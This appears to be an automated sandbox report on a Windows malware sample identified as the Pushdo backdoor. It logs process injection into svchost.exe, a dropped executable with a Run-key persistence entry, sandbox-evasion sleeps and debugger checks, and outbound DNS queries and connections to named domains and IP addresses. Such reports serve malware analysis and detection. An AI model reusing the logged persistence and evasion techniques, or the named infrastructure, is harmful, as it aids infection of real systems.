Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00F06710	3_2_00F06710
Source: C:\Users\user\pigalicapi.exe	Code function: 4_2_00ED1698	4_2_00ED1698
Source: C:\Users\user\pigalicapi.exe	Code function: 4_2_00E440A1	4_2_00E440A1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0408A6BA	5_2_0408A6BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_04007F79	5_2_04007F79
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_04007799	5_2_04007799
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0400B935	5_2_0400B935
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_040072C4	5_2_040072C4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_04007B6D	5_2_04007B6D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_04008399	5_2_04008399

Source: CX17SY6xF6.exe	ReversingLabs: Detection: 28%
Source: CX17SY6xF6.exe	Virustotal: Detection: 34%

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

File read: C:\Users\user\Desktop\CX17SY6xF6.exe

Jump to behavior

Source: CX17SY6xF6.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\CX17SY6xF6.exe C:\Users\user\Desktop\CX17SY6xF6.exe
Source: unknown	Process created: C:\Users\user\pigalicapi.exe "C:\Users\user\pigalicapi.exe"
Source: unknown	Process created: C:\Users\user\pigalicapi.exe "C:\Users\user\pigalicapi.exe"
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@27/4@2054/100

Source: C:\Users\user\pigalicapi.exe

Code function: 4_2_00EC1CA0 CreateToolhelp32Snapshot,Process32First,GetCurrentProcessId,Process32Next,Process32First,lstrlenA,lstrcpyA,OpenProcess,EnumProcessModules,K32EnumProcessModules,GetModuleFileNameExA,GetProcessImageFileNameA,K32GetProcessImageFileNameA,FindCloseChangeNotification,Process32Next,CloseHandle,

4_2_00EC1CA0

Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\zczoiir65502
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\rjsfitz60229
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\pvoaiwz6588

Source: C:\Users\user\Desktop\CX17SY6xF6.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: CX17SY6xF6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: CX17SY6xF6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: CX17SY6xF6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: CX17SY6xF6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: CX17SY6xF6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: CX17SY6xF6.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: CX17SY6xF6.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: CX17SY6xF6.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: CX17SY6xF6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: CX17SY6xF6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: CX17SY6xF6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: CX17SY6xF6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: CX17SY6xF6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\pigalicapi.exe

Unpacked PE file: 3.2.pigalicapi.exe.1500000.1.unpack

Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010DDF86 push ecx; ret	0_2_010DDF99
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EFDF86 push ecx; ret	3_2_00EFDF99
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_04009D2D push ecx; ret	5_2_04009D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_04000E0A push ebp; ret	5_2_04000E0B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0408B08C push es; iretd	5_2_0408B09A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0408B0CB push 7240BFEDh; ret	5_2_0408B0D2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0408A9BB push E44F2B70h; ret	5_2_0408AA63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0408AA04 push E44F2B70h; ret	5_2_0408AA63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0408B378 push eax; ret	5_2_0408B389
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0408B3D9 pushfd ; ret	5_2_0408B3E0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 5_2_0408BF20 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,

5_2_0408BF20

Persistence and Installation Behavior

Yara detected Backdoor Pushdo

Source: Yara match	File source: 4.2.pigalicapi.exe.ec0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.ec0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.pigalicapi.exe.1500000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CX17SY6xF6.exe.d60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.svchost.exe.4000000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.pigalicapi.exe.1500000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CX17SY6xF6.exe.d60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.svchost.exe.4000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.863723197.0000000001500000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.860363475.0000000000D60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters

Jump to behavior

Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi			Jump to behavior
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi			Jump to behavior

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\pigalicapi.exe

Stalling execution: Execution stalls by calling Sleep

graph_4-4658

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Users\user\pigalicapi.exe

Code function: EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,

4_2_00EC3B00

Source: C:\Users\user\Desktop\CX17SY6xF6.exe TID: 6872	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\CX17SY6xF6.exe TID: 6320	Thread sleep time: -21600000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 2100	Thread sleep time: -21600000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 7000	Thread sleep time: -21600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 5240	Thread sleep count: 168 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 4464	Thread sleep time: -110000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 3192	Thread sleep count: 129 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 22760	Thread sleep time: -45000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 4124	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 6612	Thread sleep count: 962 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 6616	Thread sleep count: 931 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 3456	Thread sleep time: -106455s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 3456	Thread sleep time: -109090s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 860	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 788	Thread sleep count: 757 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 3788	Thread sleep count: 764 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 5700	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 4120	Thread sleep count: 387 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 3716	Thread sleep count: 400 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 6108	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 22724	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 22792	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 22932	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 23112	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 23436	Thread sleep count: 179 > 30

Source: C:\Users\user\pigalicapi.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_4-5036

Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\pigalicapi.exe

4_2_00EC1CA0

Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 962
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 931
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 757
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 764
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 387
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 400

Source: C:\Users\user\pigalicapi.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_4-4738

Source: C:\Users\user\pigalicapi.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_4-5016

Source: C:\Users\user\pigalicapi.exe

Code function: GetAdaptersInfo,

4_2_00EC9F70

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\pigalicapi.exe

Code function: 4_2_00EC8F80 GetVersionExA,GetSystemInfo,lstrcatA,lstrcatA,lstrcatA,GetSystemMetrics,lstrcatA,GetSystemMetrics,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrcatA,

4_2_00EC8F80

Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010E1989 FindFirstFileExW,	0_2_010E1989
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010E5EA0 FindFirstFileA,	0_2_010E5EA0
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00F01989 FindFirstFileExW,	3_2_00F01989
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00F05EA0 FindFirstFileA,	3_2_00F05EA0

Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 106455
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 109090
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\CX17SY6xF6.exe	API call chain: ExitProcess graph end node	graph_0-8077
Source: C:\Users\user\pigalicapi.exe	API call chain: ExitProcess graph end node	graph_3-8066
Source: C:\Users\user\pigalicapi.exe	API call chain: ExitProcess graph end node	graph_4-4627
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node

Source: CX17SY6xF6.exe, 00000000.00000003.683017666.0000000007186000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWZ
Source: CX17SY6xF6.exe, 00000000.00000003.683017666.0000000007186000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000010.00000002.860125258.0000000003000000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

Code function: 0_2_010DDD8F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_010DDD8F

Source: C:\Users\user\pigalicapi.exe

4_2_00EC1CA0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 5_2_0408BF20 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,

5_2_0408BF20

Source: C:\Users\user\Desktop\CX17SY6xF6.exe

Code function: 0_2_010DC777 GetProcessHeap,

0_2_010DC777

Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010DC1C9 mov eax, dword ptr fs:[00000030h]	0_2_010DC1C9
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EFC1C9 mov eax, dword ptr fs:[00000030h]	3_2_00EFC1C9
Source: C:\Users\user\pigalicapi.exe	Code function: 4_2_00EC3090 mov eax, dword ptr fs:[00000030h]	4_2_00EC3090
Source: C:\Users\user\pigalicapi.exe	Code function: 4_2_00ECEF90 mov eax, dword ptr fs:[00000030h]	4_2_00ECEF90
Source: C:\Users\user\pigalicapi.exe	Code function: 4_2_00E42000 mov eax, dword ptr fs:[00000030h]	4_2_00E42000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00401005 mov eax, dword ptr fs:[00000030h]	5_2_00401005
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_04001A30 mov eax, dword ptr fs:[00000030h]	5_2_04001A30

Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010DDEDD SetUnhandledExceptionFilter,	0_2_010DDEDD
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010DDD8F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_010DDD8F
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010D95A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_010D95A0
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010DDF9B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_010DDF9B
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EFDEDD SetUnhandledExceptionFilter,	3_2_00EFDEDD
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EF95A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00EF95A0
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EFDD8F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00EFDD8F
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EFDF9B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00EFDF9B
Source: C:\Users\user\pigalicapi.exe	Code function: 4_2_00EC3B00 EntryPoint,GetModuleFileNameA,SetUnhandledExceptionFilter,CoInitialize,StrStrIA,WSAStartup,VirtualFree,Sleep,ExitProcess,	4_2_00EC3B00

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Domain query: impexnc.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: webways.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dayvo.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: enguita.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dataform.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shteeble.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kallman.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.69.139.150 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nt-hat.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 76.74.184.61 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gphpedit.org
